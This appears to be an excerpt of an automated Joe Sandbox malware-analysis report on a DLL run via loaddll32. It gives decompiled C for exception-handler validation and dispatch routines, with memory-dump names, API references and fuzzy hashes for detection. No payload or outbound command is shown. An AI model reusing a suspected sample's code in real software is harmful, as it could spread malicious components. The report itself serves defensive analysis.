                  0x00000000
                  0x00000000
                  0x02c5864c
                  0x02c5864c
                  0x02c5864d
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5864d
                  0x02c5864f
                  0x02c58651
                  0x02c58664
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c58664
                  0x00000000
                  0x02c58651
                  0x02c585c3
                  0x02c585c6
                  0x02c585c9
                  0x00000000
                  0x00000000
                  0x02c585cb
                  0x02c585cd
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c585cd
                  0x02c58592
                  0x02c58594
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                  • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 02C58602
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: MemoryQueryVirtual
                  • String ID:
                  • API String ID: 2850889275-0
                  • Opcode ID: e93dc48804d0cd4fc8f31d451b1c4a337993ad3905a306dd1994a860e8cab9bd
                  • Instruction ID: 981025e13471c8d417081f3777e94a9cab3b0aa09c9a8863da51531bef685137
                  • Opcode Fuzzy Hash: e93dc48804d0cd4fc8f31d451b1c4a337993ad3905a306dd1994a860e8cab9bd
                  • Instruction Fuzzy Hash: D361F7306006329FDB29CE2AC49072977E2FBC5398F648729EC46C7195EB31DAC1CB58
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF24C5 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF24C5(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x2bf41f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x2bf4240 = 1;
										__eflags =  *0x2bf4240;
										if( *0x2bf4240 != 0) {
											goto L60;
										}
										_t84 =  *0x2bf41f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x2bf4240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x2bf41f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x2bf4200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x2bf41fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x2bf4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x2bf4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x2bf4240 = 1;
							__eflags =  *0x2bf4240;
							if( *0x2bf4240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x2bf4200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x2bf4200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x2bf4240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x2bf4200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x2bf41f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x2bf4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x2bf4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                  0x02bf24cf
                  0x02bf24d2
                  0x02bf24d8
                  0x02bf24f6
                  0x00000000
                  0x02bf24f6
                  0x02bf24e0
                  0x02bf24e9
                  0x02bf24ef
                  0x02bf24fe
                  0x02bf2501
                  0x02bf2504
                  0x02bf250e
                  0x02bf250e
                  0x02bf2510
                  0x02bf2513
                  0x02bf2515
                  0x02bf2515
                  0x02bf2517
                  0x02bf251a
                  0x00000000
                  0x00000000
                  0x02bf251c
                  0x02bf251e
                  0x02bf2584
                  0x02bf2584
                  0x02bf26e2
                  0x00000000
                  0x02bf26e2
                  0x02bf2520
                  0x02bf2520
                  0x02bf2524
                  0x02bf2526
                  0x02bf2526
                  0x02bf2526
                  0x02bf2526
                  0x02bf2529
                  0x02bf252a
                  0x02bf252d
                  0x02bf252d
                  0x02bf2531
                  0x02bf2535
                  0x02bf2543
                  0x02bf2543
                  0x02bf254b
                  0x02bf2551
                  0x02bf2553
                  0x02bf2555
                  0x02bf2565
                  0x02bf2572
                  0x02bf2576
                  0x02bf257b
                  0x02bf257d
                  0x02bf25fb
                  0x02bf25fb
                  0x02bf257f
                  0x02bf257f
                  0x02bf257f
                  0x02bf25fd
                  0x02bf25ff
                  0x02bf26e0
                  0x02bf26e0
                  0x00000000
                  0x02bf2605
                  0x02bf2605
                  0x02bf260c
                  0x00000000
                  0x00000000
                  0x02bf2612
                  0x02bf2616
                  0x02bf2672
                  0x02bf2674
                  0x02bf267c
                  0x02bf267e
                  0x02bf2680
                  0x00000000
                  0x00000000
                  0x02bf2682
                  0x02bf2688
                  0x02bf268a
                  0x02bf268c
                  0x02bf26a1
                  0x02bf26a1
                  0x02bf26a3
                  0x02bf26d2
                  0x02bf26d9
                  0x00000000
                  0x02bf26d9
                  0x02bf26a7
                  0x02bf26a8
                  0x02bf26aa
                  0x02bf26ac
                  0x02bf26ac
                  0x02bf26ae
                  0x02bf26b0
                  0x02bf26b2
                  0x02bf26c6
                  0x02bf26c6
                  0x02bf26c9
                  0x02bf26cb
                  0x02bf26cb
                  0x02bf26cc
                  0x02bf26cc
                  0x00000000
                  0x02bf26b4
                  0x02bf26b4
                  0x02bf26b4
                  0x02bf26bd
                  0x02bf26be
                  0x02bf26c0
                  0x02bf26c2
                  0x02bf26c2
                  0x00000000
                  0x02bf26b4
                  0x02bf26b2
                  0x02bf268e
                  0x02bf2695
                  0x02bf2695
                  0x02bf2697
                  0x00000000
                  0x00000000
                  0x02bf2699
                  0x02bf269a
                  0x02bf269d
                  0x02bf269f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf269f
                  0x00000000
                  0x02bf2695
                  0x02bf2618
                  0x02bf261b
                  0x02bf2620
                  0x00000000
                  0x00000000
                  0x02bf2629
                  0x02bf262b
                  0x02bf2631
                  0x00000000
                  0x00000000
                  0x02bf2637
                  0x02bf263d
                  0x00000000
                  0x00000000
                  0x02bf2643
                  0x02bf2645
                  0x02bf264e
                  0x02bf2652
                  0x00000000
                  0x00000000
                  0x02bf2658
                  0x02bf265b
                  0x02bf265d
                  0x00000000
                  0x00000000
                  0x02bf2664
                  0x02bf2666
                  0x00000000
                  0x00000000
                  0x02bf2668
                  0x02bf266c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf266c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf2557
                  0x02bf2557
                  0x02bf2557
                  0x02bf255e
                  0x00000000
                  0x00000000
                  0x02bf2560
                  0x02bf2561
                  0x02bf2563
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf2563
                  0x02bf258b
                  0x02bf258d
                  0x00000000
                  0x00000000
                  0x02bf259d
                  0x02bf259f
                  0x02bf25a1
                  0x00000000
                  0x00000000
                  0x02bf25a7
                  0x02bf25ae
                  0x02bf25da
                  0x02bf25da
                  0x02bf25dc
                  0x02bf25de
                  0x02bf25f2
                  0x02bf25f4
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf25e0
                  0x02bf25e0
                  0x02bf25e0
                  0x02bf25e9
                  0x02bf25ea
                  0x02bf25ec
                  0x02bf25ee
                  0x02bf25ee
                  0x00000000
                  0x02bf25e0
                  0x02bf25b0
                  0x02bf25b3
                  0x02bf25b5
                  0x02bf25c7
                  0x02bf25c7
                  0x02bf25ca
                  0x02bf25cc
                  0x02bf25cc
                  0x02bf25cd
                  0x02bf25cd
                  0x02bf25d3
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf25b7
                  0x02bf25b7
                  0x02bf25b7
                  0x02bf25be
                  0x00000000
                  0x00000000
                  0x02bf25c0
                  0x02bf25c0
                  0x02bf25c1
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf25c1
                  0x02bf25c3
                  0x02bf25c5
                  0x02bf25d8
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf25d8
                  0x00000000
                  0x02bf25c5
                  0x02bf2537
                  0x02bf253a
                  0x02bf253d
                  0x00000000
                  0x00000000
                  0x02bf253f
                  0x02bf2541
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf2541
                  0x02bf2506
                  0x02bf2508
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                  • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 02BF2576
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: MemoryQueryVirtual
                  • String ID:
                  • API String ID: 2850889275-0
                  • Opcode ID: 602fe001bba1a9e5ee4ef84b02536aa24e71012dab4475d49250ee93f8944522
                  • Instruction ID: d77814c3443a284b814ec317ea41fa5cee5de21d5f3e3fc0e53734a60bfaa226
                  • Opcode Fuzzy Hash: 602fe001bba1a9e5ee4ef84b02536aa24e71012dab4475d49250ee93f8944522
                  • Instruction Fuzzy Hash: D361D631A006029FDBA9CF2CD8B076A73A6EB85358B2484F9DF55C7295E730DC89CB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5AEC0 Relevance: 1.6, APIs: 1, Instructions: 144COMMON
                  Download Yara Rule
                  APIs
                  • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CB5AED6
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: FeaturePresentProcessor
                  • String ID:
                  • API String ID: 2325560087-0
                  • Opcode ID: 309cba013c168ce2012b97afc4e19013b23f9cb49722ea0d42e1ae8907e37576
                  • Instruction ID: c0da5d2a3ade1d845de20fb35b7307ac3dc6526f115b4d5afe691cbf81ba2536
                  • Opcode Fuzzy Hash: 309cba013c168ce2012b97afc4e19013b23f9cb49722ea0d42e1ae8907e37576
                  • Instruction Fuzzy Hash: 86519CB2A022558FEF15CF65C4817AEBBF4FB09308F24852AD425EB680D375D910CF61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02B90AA6 Relevance: 1.3, Strings: 1, Instructions: 30COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.776951148.0000000002B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2b90000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID: f"J
                  • API String ID: 0-2191556654
                  • Opcode ID: 0b0d496963ee42b148e5609b5dd6a7d5706a11c0eadbc4494b267e287a933f62
                  • Instruction ID: 3959111ad9dbe637d47edefa14f898652218320759d38d8cccc054d0450f9ba5
                  • Opcode Fuzzy Hash: 0b0d496963ee42b148e5609b5dd6a7d5706a11c0eadbc4494b267e287a933f62
                  • Instruction Fuzzy Hash: 52F0F436201649DFCF11DF48D5C0E9AB7B5FB98328F28C9A6E8158B205C334EA45CB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB63391 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: HeapProcess
                  • String ID:
                  • API String ID: 54951025-0
                  • Opcode ID: a55f956f151a4a78e511896b4b3c398d04f0f8031c07b6279469da7e9b387b8a
                  • Instruction ID: eeefd15e5ed2c41de428d8cb7b9863a08cdfcb1135eef2e089803812e0912bed
                  • Opcode Fuzzy Hash: a55f956f151a4a78e511896b4b3c398d04f0f8031c07b6279469da7e9b387b8a
                  • Instruction Fuzzy Hash: 12A001757422118BAF408E3B86492193AF9EA6B6917559069A805C7594EB2888919A02
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02B90C5A Relevance: .1, Instructions: 82COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.776951148.0000000002B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2b90000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6921f6afc39b0756f10718f0f1b60fbc94b6066acfd5990aecf63ab937fb7b45
                  • Instruction ID: 3231571c4fd7595d25e540620d6ee4ccfd91b65e604d153232542bb5f0e1ff0f
                  • Opcode Fuzzy Hash: 6921f6afc39b0756f10718f0f1b60fbc94b6066acfd5990aecf63ab937fb7b45
                  • Instruction Fuzzy Hash: 16219D36600205CBDF58EF18C8C1AA673B6FF9436472848E5DC45DB306DA71E986CA64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5832C Relevance: .1, Instructions: 77COMMONCrypto
                  Download Yara Rule
                  C-Code - Quality: 71%
                  			E02C5832C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E02C58497(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E02C58551(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E02C5843C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E02C58497(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E02C58533(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                  0x02c58330
                  0x02c58331
                  0x02c58332
                  0x02c58335
                  0x02c58337
                  0x02c5833a
                  0x02c5833b
                  0x02c5833d
                  0x02c5833e
                  0x02c5833f
                  0x02c58342
                  0x02c5834c
                  0x02c583fd
                  0x02c58404
                  0x02c5840d
                  0x02c58352
                  0x02c58352
                  0x02c58358
                  0x02c5835e
                  0x02c58361
                  0x02c58364
                  0x02c58368
                  0x02c5836d
                  0x02c58372
                  0x02c583f2
                  0x00000000
                  0x02c58374
                  0x02c58374
                  0x02c58380
                  0x02c58382
                  0x02c583dd
                  0x02c583dd
                  0x02c583e3
                  0x00000000
                  0x02c58384
                  0x02c58393
                  0x02c58395
                  0x02c58396
                  0x02c58397
                  0x02c5839a
                  0x02c5839a
                  0x02c5839c
                  0x00000000
                  0x02c5839e
                  0x02c5839e
                  0x02c583e8
                  0x02c583a0
                  0x02c583a0
                  0x02c583a4
                  0x02c583ac
                  0x02c583b1
                  0x02c583b6
                  0x02c583c2
                  0x02c583ca
                  0x02c583d1
                  0x02c583d7
                  0x02c583db
                  0x00000000
                  0x02c583db
                  0x02c5839e
                  0x02c5839c
                  0x00000000
                  0x02c58382
                  0x02c583f6
                  0x02c583f6
                  0x02c583f6
                  0x02c58372
                  0x02c58412
                  0x02c58419

                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                  • Instruction ID: a96b6b79869632c02e2f93a07c5d975fb7b903417f81e7898e735d02b28d66dd
                  • Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                  • Instruction Fuzzy Hash: F221DA729002149FCB10EF68C8C09BBBBA5FF44350B4586A8DD59DB245EB30FA95CBE4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF22A4 Relevance: .1, Instructions: 77COMMONCrypto
                  Download Yara Rule
                  C-Code - Quality: 71%
                  			E02BF22A4(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E02BF240B(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E02BF24C5(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E02BF23B0(_t55, _t66);
										_t89 = _t66 + 0x10;
										E02BF240B(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E02BF24A7(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                  0x02bf22a8
                  0x02bf22a9
                  0x02bf22aa
                  0x02bf22ad
                  0x02bf22af
                  0x02bf22b2
                  0x02bf22b3
                  0x02bf22b5
                  0x02bf22b6
                  0x02bf22b7
                  0x02bf22ba
                  0x02bf22c4
                  0x02bf2375
                  0x02bf237c
                  0x02bf2385
                  0x02bf22ca
                  0x02bf22ca
                  0x02bf22d0
                  0x02bf22d6
                  0x02bf22d9
                  0x02bf22dc
                  0x02bf22e0
                  0x02bf22e5
                  0x02bf22ea
                  0x02bf236a
                  0x00000000
                  0x02bf22ec
                  0x02bf22ec
                  0x02bf22f8
                  0x02bf22fa
                  0x02bf2355
                  0x02bf2355
                  0x02bf235b
                  0x00000000
                  0x02bf22fc
                  0x02bf230b
                  0x02bf230d
                  0x02bf230e
                  0x02bf230f
                  0x02bf2312
                  0x02bf2312
                  0x02bf2314
                  0x00000000
                  0x02bf2316
                  0x02bf2316
                  0x02bf2360
                  0x02bf2318
                  0x02bf2318
                  0x02bf231c
                  0x02bf2324
                  0x02bf2329
                  0x02bf232e
                  0x02bf233a
                  0x02bf2342
                  0x02bf2349
                  0x02bf234f
                  0x02bf2353
                  0x00000000
                  0x02bf2353
                  0x02bf2316
                  0x02bf2314
                  0x00000000
                  0x02bf22fa
                  0x02bf236e
                  0x02bf236e
                  0x02bf236e
                  0x02bf22ea
                  0x02bf238a
                  0x02bf2391

                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
                  • Instruction ID: 9cb79d67140d4a9d49471bf4294ab6014104e26f4e587087a9c7c40af17df89a
                  • Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
